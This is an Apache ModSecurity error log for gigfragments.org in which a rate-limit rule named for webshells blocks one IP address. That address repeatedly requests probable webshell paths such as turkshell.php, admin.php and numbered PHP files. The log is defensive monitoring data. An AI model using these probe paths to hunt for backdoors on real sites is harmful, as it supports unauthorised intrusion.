[Thu Apr 16 06:04:28.368802 2026] [:error] [pid 57639:tid 57656] [client 20.215.49.170:59682] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/water.php"] [unique_id "aeALbKMCQoTw7TsxWunEkgAAAMo"]
[Thu Apr 16 06:04:29.229670 2026] [:error] [pid 49094:tid 49112] [client 20.215.49.170:59685] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/water.php"] [unique_id "aeALbTbDwvcXorHR_MyCngAAAVA"]
[Thu Apr 16 06:04:30.809312 2026] [:error] [pid 29603:tid 29618] [client 20.215.49.170:60999] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/water.php"] [unique_id "aeALblfGOR6fpTWUAzq9CAAAAQ0"]
[Thu Apr 16 06:04:32.599355 2026] [:error] [pid 29603:tid 29613] [client 20.215.49.170:62197] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/water.php"] [unique_id "aeALcFfGOR6fpTWUAzq9FgAAAQg"]
[Thu Apr 16 06:04:36.573353 2026] [:error] [pid 57536:tid 57571] [client 20.215.49.170:51373] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "aeALdCQU4faGja6jpDt88QAAABc"]
[Thu Apr 16 06:04:38.752088 2026] [:error] [pid 49094:tid 49117] [client 20.215.49.170:59867] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "aeALdjbDwvcXorHR_MyC4wAAAVU"]
[Thu Apr 16 06:04:40.309074 2026] [:error] [pid 29603:tid 29623] [client 20.215.49.170:51448] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "aeALeFfGOR6fpTWUAzq9NQAAARI"]
[Thu Apr 16 06:04:41.785739 2026] [:error] [pid 57538:tid 57614] [client 20.215.49.170:59705] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "aeALecuMaiEF5SVR2BcwiwAAAIw"]
[Thu Apr 16 06:04:42.447637 2026] [:error] [pid 57536:tid 57564] [client 20.215.49.170:53265] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aeALeiQU4faGja6jpDt89AAAABA"]
[Thu Apr 16 06:04:43.040686 2026] [:error] [pid 57538:tid 57615] [client 20.215.49.170:60562] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aeALe8uMaiEF5SVR2BcwjAAAAI0"]
[Thu Apr 16 06:04:43.616153 2026] [:error] [pid 29603:tid 29619] [client 20.215.49.170:53257] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aeALe1fGOR6fpTWUAzq9PAAAAQ4"]
[Thu Apr 16 06:04:44.412335 2026] [:error] [pid 57639:tid 57651] [client 20.215.49.170:53260] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aeALfKMCQoTw7TsxWunEmAAAAMU"]
[Thu Apr 16 06:04:45.290716 2026] [:error] [pid 49094:tid 49113] [client 20.215.49.170:51389] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "aeALfTbDwvcXorHR_MyC7wAAAVE"]
[Thu Apr 16 06:04:46.108145 2026] [:error] [pid 49094:tid 49096] [client 20.215.49.170:59700] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "aeALfjbDwvcXorHR_MyC8QAAAUA"]
[Thu Apr 16 06:04:47.177560 2026] [:error] [pid 57639:tid 57662] [client 20.215.49.170:61032] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "aeALf6MCQoTw7TsxWunEngAAANA"]
[Thu Apr 16 06:04:47.877398 2026] [:error] [pid 57537:tid 57580] [client 20.215.49.170:59898] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "aeALf1VQRS8nm73ENAkvNAAAAEU"]
[Thu Apr 16 06:04:48.456356 2026] [:error] [pid 57537:tid 57578] [client 20.215.49.170:53292] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aeALgFVQRS8nm73ENAkvNQAAAEM"]
[Thu Apr 16 06:04:49.006521 2026] [:error] [pid 57538:tid 57606] [client 20.215.49.170:60553] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aeALgcuMaiEF5SVR2BcwkwAAAIQ"]
[Thu Apr 16 06:04:49.644641 2026] [:error] [pid 57538:tid 57621] [client 20.215.49.170:62184] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aeALgcuMaiEF5SVR2BcwlAAAAJM"]
[Thu Apr 16 06:04:50.171754 2026] [:error] [pid 49094:tid 49100] [client 20.215.49.170:59896] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aeALgjbDwvcXorHR_MyC9AAAAUQ"]
[Thu Apr 16 06:04:50.881343 2026] [:error] [pid 29603:tid 29618] [client 20.215.49.170:55060] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aeALglfGOR6fpTWUAzq9QAAAAQ0"]
[Thu Apr 16 06:04:51.401663 2026] [:error] [pid 57536:tid 57570] [client 20.215.49.170:51360] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aeALgyQU4faGja6jpDt8-AAAABY"]
[Thu Apr 16 06:04:52.381581 2026] [:error] [pid 57536:tid 57548] [client 20.215.49.170:53302] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aeALhCQU4faGja6jpDt8-QAAAAA"]
[Thu Apr 16 06:04:52.930668 2026] [:error] [pid 57639:tid 57657] [client 20.215.49.170:65097] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aeALhKMCQoTw7TsxWunEogAAAMs"]
[Thu Apr 16 06:04:53.971806 2026] [:error] [pid 57536:tid 57556] [client 20.215.49.170:59678] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oij98gy.php"] [unique_id "aeALhSQU4faGja6jpDt8_AAAAAg"]
[Thu Apr 16 06:04:54.721142 2026] [:error] [pid 57639:tid 57661] [client 20.215.49.170:51392] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oij98gy.php"] [unique_id "aeALhqMCQoTw7TsxWunEpAAAAM8"]
[Thu Apr 16 06:04:55.415110 2026] [:error] [pid 49094:tid 49116] [client 20.215.49.170:55092] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oij98gy.php"] [unique_id "aeALhzbDwvcXorHR_MyC_AAAAVQ"]
[Thu Apr 16 06:04:56.068297 2026] [:error] [pid 57536:tid 57567] [client 20.215.49.170:55623] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oij98gy.php"] [unique_id "aeALiCQU4faGja6jpDt8_wAAABM"]
[Thu Apr 16 06:04:57.086588 2026] [:error] [pid 57536:tid 57551] [client 20.215.49.170:55086] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "aeALiSQU4faGja6jpDt9AQAAAAM"]
[Thu Apr 16 06:04:58.507445 2026] [:error] [pid 57537:tid 57585] [client 20.215.49.170:55100] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "aeALilVQRS8nm73ENAkvQAAAAEo"]
[Thu Apr 16 06:04:59.291209 2026] [:error] [pid 29603:tid 29612] [client 20.215.49.170:61048] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "aeALi1fGOR6fpTWUAzq9RAAAAQc"]
[Thu Apr 16 06:05:00.144758 2026] [:error] [pid 57536:tid 57549] [client 20.215.49.170:53310] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "aeALjCQU4faGja6jpDt9AwAAAAE"]
[Thu Apr 16 06:05:01.034958 2026] [:error] [pid 57536:tid 57563] [client 20.215.49.170:55631] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/turkshell.php"] [unique_id "aeALjSQU4faGja6jpDt9BAAAAA8"]
[Thu Apr 16 06:05:22.883737 2026] [:error] [pid 57538:tid 57620] [client 20.215.49.170:59848] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeALosuMaiEF5SVR2BcwvQAAAJI"]
[Thu Apr 16 06:05:24.379232 2026] [:error] [pid 57639:tid 57663] [client 20.215.49.170:55227] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeALpKMCQoTw7TsxWunEtwAAANE"]
[Thu Apr 16 06:05:25.729028 2026] [:error] [pid 57538:tid 57607] [client 20.215.49.170:55173] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeALpcuMaiEF5SVR2BcwvwAAAIU"]
[Thu Apr 16 06:05:26.462617 2026] [:error] [pid 29603:tid 29623] [client 20.215.49.170:5386] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeALplfGOR6fpTWUAzq9bwAAARI"]
[Thu Apr 16 06:05:27.219991 2026] [:error] [pid 57538:tid 57615] [client 20.215.49.170:55653] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeALp8uMaiEF5SVR2BcwxgAAAI0"]
[Thu Apr 16 06:05:30.540631 2026] [:error] [pid 29603:tid 29626] [client 20.215.49.170:52335] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeALqlfGOR6fpTWUAzq9dwAAARU"]
[Thu Apr 16 06:05:32.765068 2026] [:error] [pid 29603:tid 29605] [client 20.215.49.170:62146] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeALrFfGOR6fpTWUAzq9ggAAAQA"]
[Thu Apr 16 06:05:35.172380 2026] [:error] [pid 49094:tid 49101] [client 20.215.49.170:51899] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeALrzbDwvcXorHR_MyDGwAAAUU"]
[Thu Apr 16 06:05:38.240088 2026] [:error] [pid 49094:tid 49117] [client 20.215.49.170:60564] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.mopj.php"] [unique_id "aeALsjbDwvcXorHR_MyDHwAAAVU"]
[Thu Apr 16 06:05:39.761948 2026] [:error] [pid 57639:tid 57670] [client 20.215.49.170:51879] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.mopj.php"] [unique_id "aeALs6MCQoTw7TsxWunEwQAAANg"]
[Thu Apr 16 06:05:47.211649 2026] [:error] [pid 57537:tid 57583] [client 20.215.49.170:52294] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.mopj.php"] [unique_id "aeALu1VQRS8nm73ENAkvagAAAEg"]
[Thu Apr 16 06:05:47.970424 2026] [:error] [pid 29603:tid 29624] [client 20.215.49.170:6120] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.mopj.php"] [unique_id "aeALu1fGOR6fpTWUAzq9iwAAARM"]
[Thu Apr 16 06:05:57.908109 2026] [:error] [pid 49094:tid 49112] [client 20.215.49.170:56297] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeALxTbDwvcXorHR_MyDOgAAAVA"]
[Thu Apr 16 06:07:17.540326 2026] [:error] [pid 57538:tid 57625] [client 20.215.49.170:60765] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeAMFcuMaiEF5SVR2BcxWwAAAJc"]
[Thu Apr 16 06:07:38.374540 2026] [:error] [pid 49094:tid 49103] [client 20.215.49.170:65392] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeAMKjbDwvcXorHR_MyEFAAAAUc"]
[Thu Apr 16 06:07:53.429464 2026] [:error] [pid 29603:tid 29611] [client 20.215.49.170:58803] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeAMOVfGOR6fpTWUAzq-FgAAAQY"]
[Thu Apr 16 06:07:56.395583 2026] [:error] [pid 29603:tid 29613] [client 20.215.49.170:58419] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeAMPFfGOR6fpTWUAzq-GwAAAQg"]
[Thu Apr 16 06:07:58.325991 2026] [:error] [pid 57538:tid 57609] [client 20.215.49.170:65432] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeAMPsuMaiEF5SVR2BcxbQAAAIc"]
[Thu Apr 16 06:08:00.541340 2026] [:error] [pid 49094:tid 49117] [client 20.215.49.170:65165] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeAMQDbDwvcXorHR_MyESQAAAVU"]
[Thu Apr 16 06:08:02.155349 2026] [:error] [pid 57537:tid 57598] [client 20.215.49.170:58801] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeAMQlVQRS8nm73ENAkvvQAAAFc"]
[Thu Apr 16 06:08:02.992205 2026] [:error] [pid 57537:tid 57595] [client 20.215.49.170:65154] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeAMQlVQRS8nm73ENAkvwAAAAFQ"]
[Thu Apr 16 06:08:04.357631 2026] [:error] [pid 57639:tid 57660] [client 20.215.49.170:58384] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeAMRKMCQoTw7TsxWunFFAAAAM4"]
[Thu Apr 16 06:08:06.146835 2026] [:error] [pid 29603:tid 29619] [client 20.215.49.170:5153] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeAMRlfGOR6fpTWUAzq-JAAAAQ4"]
[Thu Apr 16 06:08:07.054711 2026] [:error] [pid 57538:tid 57610] [client 20.215.49.170:65186] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeAMR8uMaiEF5SVR2BcxdwAAAIg"]
